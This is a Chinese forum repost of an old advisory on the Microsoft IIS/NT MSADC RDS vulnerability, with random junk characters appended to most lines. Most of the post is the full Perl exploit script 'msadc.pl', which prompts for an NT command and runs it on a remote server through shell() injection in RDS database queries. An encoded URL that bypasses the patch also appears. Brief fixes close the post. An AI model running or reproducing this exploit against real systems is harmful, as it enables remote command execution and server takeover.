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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) f)!Z~t &  
HDKbF/  
涉及程序: P4?glh q#  
Microsoft NT server ddo#P%sH'  
-N@|QK>  
描述: -/k 3a*$/  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 y]im Z4{/  
} %z   
详细: aT<q=DO  
如果你没有时间读详细内容的话,就删除: t Pf40`@  
c:\Program Files\Common Files\System\Msadc\msadcs.dll R3! t$5HG  
有关的安全问题就没有了。 jal-9NV)!  
HThcn1u~^b  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ~Z+%d9ode  
KG@8RtHsQ  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 8f7>?BUS,  
关于利用ODBC远程漏洞的描述,请参看: | 3%8&@ho  
7|D+Ihy;  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm {[(h[MW#  
OTp]Xe/  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 fV:83|eQ  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp .o8t+X'G  
@6d[=!9  
这里不再论述。 iUwzs&frd  
IAEAhqp  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: nie%eC&U  
Wf<LR3  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset fLVAKn  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ^GX)Z~  
DN/YHSYK  
a> )f=uS  
#将下面这段保存为txt文件,然后: "perl -x 文件名" w:l"\Tm  
<or2  
#!perl W l1 6`9  
# - DCbko  
# MSADC/RDS 'usage' (aka exploit) script yBRC*0+Vy  
# m3ff;,  
# by rain.forest.puppy {^'HL   
# 4~=l}H>&  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 0ksa  
# beta test and find errors! ?}7p"3j'z  
<| &Npd'  
use Socket; use Getopt::Std; , dp0;nkr  
getopts("e:vd:h:XR", \%args); 5coZ|O&f8  
rH>)oThA#  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; v@Ox:wl>  
zT[!o j7  
if (!defined $args{h} && !defined $args{R}) { smLQS+UE  
print qq~ *j-aXN/$  
Usage: msadc.pl -h <host> { -d <delay> -X -v } &0f,~ /%Z  
-h <host> = host you want to scan (ip or domain) dTtSUA|V7"  
-d <seconds> = delay between calls, default 1 second 2JFpZU"1  
-X = dump Index Server path table, if available 2-b6gc7  
-v = verbose &OBkevg  
-e = external dictionary file for step 5 MW{8VH6+  
T>GM%^h,7-  
Or a -R will resume a command session XUw/2"D'?  
4OX^(  
~; exit;} _ J[  
#[a*rD%m  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; fzA9'i`  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} X jX2]  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} s{" 2L{,$  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); VD:/PL  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} qCO/?kW  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 0;ji65  
C-[1iW'  
if (!defined $args{R}){ $ret = &has_msadc; tl].r|yl  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ;>YzEo  
$g7<Y*t[  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" !a<ng&H^U  
. "cmd /c "; +MLVbK  
$in=<STDIN>; chomp $in; gNhQD*+>{  
$command="cmd /c " . $in ; *#Wdc O `-  
@A 5?3(e  
if (defined $args{R}) {&load; exit;} T^v}mWCZ  
>*n0n!vF  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 1QJL .  
&try_btcustmr; BUR*n;V`  
=ruao'A  
print "\nStep 2: Trying to make our own DSN..."; 9C \Fq-  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; iIogx8[  
_y3Xb`0a  
print "\nStep 3: Trying known DSNs..."; Lk$B{2^n  
&known_dsn; wT\49DT"7  
j+(I"h3  
print "\nStep 4: Trying known .mdbs..."; _~ &iq1  
&known_mdb; <9%R\_@$H  
g[t [/TV   
if (defined $args{e}){ BSMwdr  
print "\nStep 5: Trying dictionary of DSN names..."; RGU\h[  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } `KQvJjA6  
4H-'Dr=G  
print "Sorry Charley...maybe next time?\n"; Tqk\XILG N  
exit; ^KELKv,_  
&w~d_</  
############################################################################## FE{FGM q  
LD g?'y;2  
sub sendraw { # ripped and modded from whisker LrK,_)r:~  
sleep($delay); # it's a DoS on the server! At least on mine... T5:G$-qL(  
my ($pstr)=@_; l\?c}7k  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || B+0hzkPY  
die("Socket problems\n"); hG:|9Sol,  
if(connect(S,pack "SnA4x8",2,80,$target)){ j w9b )  
select(S); $|=1; \j)E 5b+  
print $pstr; my @in=<S>; 6x|jPb  
select(STDOUT); close(S); $j?1g#  
return @in; ~!3r&(  
} else { die("Can't connect...\n"); }} PzR[KUK  
9$m|'$p3sG  
############################################################################## C/&-l{7  
,=mS,r7  
sub make_header { # make the HTTP request D)'bH5  
my $msadc=<<EOT orvp*F{7[H  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 $2el&I  
User-Agent: ACTIVEDATA ;ZG\p TCA  
Host: $ip 65m"J'  
Content-Length: $clen ^Q^_?~h*!  
Connection: Keep-Alive rc>6.sM %  
\B 7tX  
ADCClientVersion:01.06 )];K .zP  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 5P$4 =z91  
 v<:R#  
--!ADM!ROX!YOUR!WORLD! I)W`sBL  
Content-Type: application/x-varg  ^Va1f'g  
Content-Length: $reqlen Lu0x (/  
F*K_+ ?m  
EOT $D UZ!zaH!  
; $msadc=~s/\n/\r\n/g; 4YX3+oS  
return $msadc;} &l[$*<P5V  
&(mR> mT  
############################################################################## -FCe:iY! A  
!&Pui{F  
sub make_req { # make the RDS request D #/Bx[  
my ($switch, $p1, $p2)=@_; T${Q.zHY[!  
my $req=""; my $t1, $t2, $query, $dsn; N{~Y J$!8  
]]juN  
if ($switch==1){ # this is the btcustmr.mdb query @Pzu^  
$query="Select * from Customers where City=" . make_shell(); E=w1=,/y  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . "v4B5:bmqW  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 5Zva:  
bNoW?8bZ  
elsif ($switch==2){ # this is general make table query z%LIX^q9  
$query="create table AZZ (B int, C varchar(10))"; 4I?^t"  
$dsn="$p1";} 5lT*hF  
_H=Uwi_g  
elsif ($switch==3){ # this is general exploit table query ~BkCp pI  
$query="select * from AZZ where C=" . make_shell(); g SAt@2*U2  
$dsn="$p1";} U~l$\ c  
BIWWMg  
elsif ($switch==4){ # attempt to hork file info from index server P_p<`sC9  
$query="select path from scope()"; 8&Y^""#e)  
$dsn="Provider=MSIDXS;";} M+9gL3W  
L`EBfz\n  
elsif ($switch==5){ # bad query )Iq<+IJ  
$query="select"; :Qf '2.h)  
$dsn="$p1";} w(TJ*::T  
}XM(:|8J,  
$t1= make_unicode($query); x7x\Y(@  
$t2= make_unicode($dsn); `%Al>u5  
$req = "\x02\x00\x03\x00"; Q'mM3pq4r  
$req.= "\x08\x00" . pack ("S1", length($t1)); kd$D 3S ^{  
$req.= "\x00\x00" . $t1 ; 5RpjN: 3  
$req.= "\x08\x00" . pack ("S1", length($t2)); 3gj+%%!G\  
$req.= "\x00\x00" . $t2 ; ZEO,]$Yi7  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 0tB0@Wj  
return $req;} ,$+V  
yN s,Ll~  
############################################################################## [bNx^VP*  
bB;5s`-  
sub make_shell { # this makes the shell() statement r!a3\ep  
return "'|shell(\"$command\")|'";} ^_5r<{7/ :  
gH3vk $WS  
############################################################################## {LQ#y/H?  
@<]Ekkg  
sub make_unicode { # quick little function to convert to unicode h@WhNk7"xa  
my ($in)=@_; my $out; ?r+-  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } {Wu$YWE*sx  
return $out;} yw3$2EW  
Y<ql49-X  
############################################################################## c>~*/%+  
,V:SN~P66+  
sub rdo_success { # checks for RDO return success (this is kludge) p >t#@Eu|  
my (@in) = @_; my $base=content_start(@in); JNUt$h  
if($in[$base]=~/multipart\/mixed/){ u21EP[[,  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} P0PWJ^+,+  
return 0;} tlp@?(u  
3az&<Pqb  
############################################################################## 5vZ^0yFQ  
&;sP_ h  
sub make_dsn { # this makes a DSN for us g5QZ0Qkj  
my @drives=("c","d","e","f"); dIBE!4 V[  
print "\nMaking DSN: "; >:!X.TG$  
foreach $drive (@drives) { LRG6:&  
print "$drive: "; pW sDzb6?%  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . fG(SNNl+D  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" T+K):u g  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); P{+T< bk|  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; zXxT%ZcCj  
return 0 if $2 eq "404"; # not found/doesn't exist )fSOi| |C  
if($2 eq "200") { 6Yxh9*N~]  
foreach $line (@results) { z}ddqZ27G$  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} {"QNJq#:  
} return 0;} Um-[~-  
FfPar:PHj  
############################################################################## vV e';|8v  
Ab"@714@  
sub verify_exists { ~-J]W-n  
my ($page)=@_; Z//+Gw<'  
my @results=sendraw("GET $page HTTP/1.0\n\n"); sAD}#Zw$  
return $results[0];} )i^<r;_z  
aL&7 1^R,  
############################################################################## H_X [t*2  
!XCm>]R  
sub try_btcustmr { krvp&+uX  
my @drives=("c","d","e","f"); .KUv( -  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Z%/=|[9i  
"Yj'oE% \  
foreach $dir (@dirs) { :GP]P^M;G@  
print "$dir -> "; # fun status so you can see progress ApV~( k)W  
foreach $drive (@drives) { Uu(SR/R}  
print "$drive: "; # ditto }m;,Q9:+m^  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; o-OHjFfB  
$reqlenlen=length( "$reqlen" ); lun\`f 5Q  
$clen= 206 + $reqlenlen + $reqlen; W_8wed:b  
{|:;]T"y  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 'd$P`Vw:  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} PFne+T!2F  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 5BKt1%Pg  
XkF%.hWo  
############################################################################## c+$*$|t=v`  
b8SHg^}  
sub odbc_error { AKyUfAj3  
my (@in)=@_; my $base; m(#LhlX  
my $base = content_start(@in); ?fjuh}Q5h  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this }h!f eP  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Midy"  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; T<p !5`B1  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; EYEnN  
return $in[$base+4].$in[$base+5].$in[$base+6];} h+&OQ%e=8  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ,\n&I(  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . DBD%6o>]K  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} &NoS=(s,  
8UyMVY  
############################################################################## ?!cvf{a  
+M$Q =6/  
sub verbose { ;n=.>s*XL'  
my ($in)=@_; 71gT.E  
return if !$verbose; E!l!OtFL  
print STDOUT "\n$in\n";} $5< #n@  
$#S&QHyEe  
############################################################################## b+6\JE^Mz  
w6GyBo{2O_  
sub save { SO(NVJh  
my ($p1, $p2, $p3, $p4)=@_; Dq5j1m.  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; FrYqaP  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; X4E%2-m@'  
close OUT;} a8iQ4   
=&2 Lb  
############################################################################## &c:Ad% z  
#( jw!d&  
sub load { ,5, !es@`b  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; u\{ g(li-I  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); =L:4i\4  
@p=<IN>; close(IN); 2h1C9n%j9  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 87P>IO  
$target= inet_aton($ip) || die("inet_aton problems"); U\;6mK)M^J  
print "Resuming to $ip ..."; ()+ <)hg}2  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ^,8)iV0j_  
if($p[1]==1) { J )~L   
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; L=8<B=QT$  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; U`d5vEhT  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); n3Z 5t  
if (rdo_success(@results)){print "Success!\n";}  4/1d&Sg  
else { print "failed\n"; verbose(odbc_error(@results));}} WP+oFkw>  
elsif ($p[1]==3){ R0vIbFwj  
if(run_query("$p[3]")){ 4K\(xd&Q  
print "Success!\n";} else { print "failed\n"; }} ]<pjXVRt"  
elsif ($p[1]==4){ L>%o[tS  
if(run_query($drvst . "$p[3]")){ e5B Qr$j  
print "Success!\n"; } else { print "failed\n"; }} ~ga`\% J  
exit;} )3w@]5j  
% !>I*H  
############################################################################## #+5pgD2C  
aL%AQB,  
sub create_table { muZ~*kMc  
my ($in)=@_; DRgTe&+  
$reqlen=length( make_req(2,$in,"") ) - 28; ul2")HL];  
$reqlenlen=length( "$reqlen" ); CS-uNG6  
$clen= 206 + $reqlenlen + $reqlen; ayD}r#7  
my @results=sendraw(make_header() . make_req(2,$in,"")); }mdAM6  
return 1 if rdo_success(@results); ,Bo>E:u  
my $temp= odbc_error(@results); verbose($temp); }J1tdko#  
return 1 if $temp=~/Table 'AZZ' already exists/; .CU5}Tv-  
return 0;} mkF"   
5v}8org  
############################################################################## Vq;A>  
?yR&/a  
sub known_dsn { ,7NZu0  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go .0rh y2  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", "zFNg';  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", $UCAhG$  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); \lC   
K7W6ZH9;  
foreach $dSn (@dsns) { `~;rblo;  
print "."; 7`8Ik`lY  
next if (!is_access("DSN=$dSn")); BT"42#7_  
if(create_table("DSN=$dSn")){ xs:n\N  
print "$dSn successful\n"; ;R?I4}O#R8  
if(run_query("DSN=$dSn")){ %V{7DA&C  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { cwWodPNm  
print "Something's borked. Use verbose next time\n";}}} print "\n";} lh D,\3/O  
@u%_1  
############################################################################## EC8b=B<DE  
S.q].a  
sub is_access { QC;^xG+W  
my ($in)=@_; W.0L:3<"  
$reqlen=length( make_req(5,$in,"") ) - 28; !\L/[:n  
$reqlenlen=length( "$reqlen" ); .Pw\~X3!  
$clen= 206 + $reqlenlen + $reqlen; .0O2Qqdg  
my @results=sendraw(make_header() . make_req(5,$in,"")); 5<j%EQN|D  
my $temp= odbc_error(@results); LLXVNO@e+  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); P2'DD 3   
return 0;} ,gOOiB }  
sWblFvHqrU  
############################################################################## @kU@N?5e  
aj,T)oDbt6  
sub run_query { MFm"G  
my ($in)=@_; z` FCs,?K  
$reqlen=length( make_req(3,$in,"") ) - 28; hQHnwr  
$reqlenlen=length( "$reqlen" ); xD[Gq%  
$clen= 206 + $reqlenlen + $reqlen; / iV}HV0  
my @results=sendraw(make_header() . make_req(3,$in,"")); hcbv;[bG  
return 1 if rdo_success(@results); V6#K2  
my $temp= odbc_error(@results); verbose($temp); S'B|>!z@  
return 0;} jR#~I@q^  
eT8}  
############################################################################## H4!+q:<  
/E5 5Pec  
sub known_mdb { ~\3kx]^10  
my @drives=("c","d","e","f","g"); L^4-5`gj  
my @dirs=("winnt","winnt35","winnt351","win","windows"); | j a-  
my $dir, $drive, $mdb; i?:_:"^x  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; R@#G>4  
-s$F&\5by  
# this is sparse, because I don't know of many QtqfG{  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 70mpSD3  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", B0!"A  
"\\system32\\certmdb.mdb", mzc 4/<th  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% `o?Ph&p}  
r~nsN*t  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", VZ](uFBY  
"\\cfusion\\cfapps\\forums\\forums_.mdb", {Gw.l."  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Xy &uZ  
"\\cfusion\\cfapps\\security\\realm_.mdb", V-r3-b  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", #\ n8M  
"\\cfusion\\database\\cfexamples.mdb", 0#*#a13  
"\\cfusion\\database\\cfsnippets.mdb", _#}n~}d  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", tP%{P"g3^  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", GMZv RAu i  
"\\cfusion\\brighttiger\\database\\cleam.mdb", j"@93D~  
"\\cfusion\\database\\smpolicy.mdb", gzD@cx?V  
"\\cfusion\\database\cypress.mdb", 0 Ir<y  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", Z)xaJGbw  
"\\website\\cgi-win\\dbsample.mdb", ,SiY;(b=\  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", xvSuPP4 m  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" &gE 75B  
); #these are just (?! ,p^  
foreach $drive (@drives) { "a/ Q%.P  
foreach $dir (@dirs){ u@%r  
foreach $mdb (@sysmdbs) { ~ Yngkt  
print "."; I1>N4R-j  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ .eO?Z^  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; h"[+)q%L  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ la?Wnw  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; t/PlcV_M"  
} else { print "Something's borked. Use verbose next time\n"; }}}}} $4T2z-  
|xvy')(b  
foreach $drive (@drives) { 0% #<c p  
foreach $mdb (@mdbs) { <ExZ:ip  
print "."; ~w;]c_{.b  
if(create_table($drv . $drive . $dir . $mdb)){ d4 (/m_HMu  
print "\n" . $drive . $dir . $mdb . " successful\n"; .pvV1JA'  
if(run_query($drv . $drive . $dir . $mdb)){ 5rV( (  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; l?)ZJ3]a  
} else { print "Something's borked. Use verbose next time\n"; }}}} H7k PM[  
} A?T<",bO  
?kz+R'  
############################################################################## ^p/Ob'!  
!!nuAQ"E[  
sub hork_idx { h}Wdh1.M3  
print "\nAttempting to dump Index Server tables...\n"; 1uk 0d`JL  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; *79m^  
$reqlen=length( make_req(4,"","") ) - 28; ?}Lg)EFH  
$reqlenlen=length( "$reqlen" ); o!r8{L  
$clen= 206 + $reqlenlen + $reqlen; ~b|`'kU  
my @results=sendraw2(make_header() . make_req(4,"","")); 1I}b|6 `  
if (rdo_success(@results)){ 08m;{+|vY  
my $max=@results; my $c; my %d; C}*cx$.  
for($c=19; $c<$max; $c++){ :aIN9;  
$results[$c]=~s/\x00//g; %D`,k*X  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; \rV B5|D?  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; LR,7,DH$9'  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ')$NfarQ.  
$d{"$1$2"}="";} kz S=g|_  
foreach $c (keys %d){ print "$c\n"; } ^v@4|E$  
} else {print "Index server doesn't seem to be installed.\n"; }} N9rBW   
O!Z|r ?  
############################################################################## @v*/R%rv t  
=_8Tp~j  
sub dsn_dict { `j9$T:`  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ^:jN3@ Q%  
while(<IN>){ yRYWch  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; s $*'^:   
next if (!is_access("DSN=$dSn")); x)_@9ldYv  
if(create_table("DSN=$dSn")){ m%8q Zzqk  
print "$dSn successful\n"; ;!T{%-tP  
if(run_query("DSN=$dSn")){ ?n\*,{9  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { @E53JKYhY  
print "Something's borked. Use verbose next time\n";}}} 1Fi86  
print "\n"; close(IN);} qJ_1*!!91  
Sm2>'C  
############################################################################## 8Z2.`(3c[  
JkA|Qdj~Mr  
sub sendraw2 { # ripped and modded from whisker $Vv}XMxw  
sleep($delay); # it's a DoS on the server! At least on mine... p=QYc)3F  
my ($pstr)=@_; <vbIp&  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || %AnW~v  
die("Socket problems\n"); l~Lb!;,dN  
if(connect(S,pack "SnA4x8",2,80,$target)){ )2E%b+"  
print "Connected. Getting data"; 7a$ G@  
open(OUT,">raw.out"); my @in; b( ^^m:(w  
select(S); $|=1; print $pstr; 2_t=P|Uo  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 9(!]NNf!  
close(OUT); select(STDOUT); close(S); return @in; O;]?gj 1@  
} else { die("Can't connect...\n"); }} HZ*0QgW\(5  
vG2b:[W  
############################################################################## <39!G7ny  
lKEa)KF[  
sub content_start { # this will take in the server headers Y#01o&f0n  
my (@in)=@_; my $c; s2v(=  
for ($c=1;$c<500;$c++) { yO>V/5`  
if($in[$c] =~/^\x0d\x0a/){ WnAd5#G  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } I}Xg &-L  
else { return $c+1; }}} vVs#^"-nW  
return -1;} # it should never get here actually )DUL)S  
y/@iT8$rp  
##############################################################################  !=*.$4  
6b Z[Kt  
sub funky { e^$j5jV  
my (@in)=@_; my $error=odbc_error(@in); 7XyOB+aQO  
if($error=~/ADO could not find the specified provider/){ lg1PE7  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; v&MU=Tcqi  
exit;} [ev-^[  
if($error=~/A Handler is required/){ cVq}c?  
print "\nServer has custom handler filters (they most likely are patched)\n"; ZZ)G5ji  
exit;}  9|S`ub'  
if($error=~/specified Handler has denied Access/){ a1MFjmq  
print "\nServer has custom handler filters (they most likely are patched)\n"; 2#_38=K=@  
exit;}} 5`E))?*"Pe  
\T-~JQVj  
############################################################################## oaDsk<(j;R  
[D'Gr*5~{  
sub has_msadc { 3LlU]  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); px9>:t[P  
my $base=content_start(@results); 2go>  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); O(OmGu4%  
return 0;} y?N Nz0  
LN!W(n(  
######################## `!w^0kZ  
8t .dPy<  
CM~MoV[k7e  
解决方案: LI:T c7t  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Kv+Bfh  
2、移除web 目录: /msadc
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学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 j.QHkI1.  
PX3  
拿出来充数 哈哈
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